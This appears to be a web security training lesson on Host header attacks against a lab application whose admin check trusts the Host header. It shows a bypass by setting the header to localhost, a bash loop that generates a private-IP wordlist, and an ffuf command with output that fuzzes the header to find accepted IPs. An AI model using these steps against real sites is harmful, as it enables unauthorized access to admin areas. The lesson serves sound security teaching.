Authentication Bypass

Exploiting host header attacks is not trivial in most cases. For some host header attacks, we need to understand how the web application works, how it uses the host header, and which values we need to inject to bypass checks.

In our first host header attack example, we will have a look at a simple vulnerable web application that conducts an authentication check based on the host header.

Identification & Exploitation

When accessing the web application, we can see a simple website with an admin area:

However, when we attempt to access the admin area at /admin.php, we notice that we are unauthorized to do so:

The web application displays an error that states The admin area can only be accessed locally!. That warning is phrased in a way that seems to indicate that the admin area can only be accessed from the internal network of the web application. Now we could ask ourselves: how does the web application check whether a request comes from an internal network or an external source?

The most obvious and secure option would be to check the IP address of the request. This can be done in PHP using the $_SERVER['REMOTE_ADDR'] variable. This might create issues if the site sits behind a reverse proxy though. Another way would be to check the host header, however, this leaves the web application vulnerable to host header attacks.

When we set the host header to localhost, indicating that the website was accessed locally, we can bypass the authentication check and access the admin area:

Fuzzing

If the web application accepts only specific IPs of an internal network, manual testing is impossible because of the large number of IP private addresses. However, we can fuzz the host header to check if we can bypass the authentication check. For instance, if we want to create a wordlist of the 192.168.0.0-192.168.255.255 private IP address range, we could use a bash script similar to the following:

for a in {1..255};do
    for b in {1..255};do
        echo "192.168.$a.$b" >> ips.txt
    done
done

We can then use a fuzzer like ffuf to fuzz the host header for IP addresses that bypass the host header check:

[!bash!]$ ffuf -u http://IP:PORT/admin.php -w ips.txt -H 'Host: FUZZ' -fs 752
                                                                                               
        /'___\  /'___\           /'___\                                                        
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://IP:PORT/admin.php
 :: Wordlist         : FUZZ: ips.txt
 :: Header           : Host: FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 752
________________________________________________

192.168.178.28          [Status: 200, Size: 747, Words: 49, Lines: 36, Duration: 0ms]
192.168.178.32          [Status: 200, Size: 747, Words: 49, Lines: 36, Duration: 0ms]
192.168.178.156         [Status: 200, Size: 747, Words: 49, Lines: 36, Duration: 0ms]

For more information on fuzzing with ffuf, have a look at this module.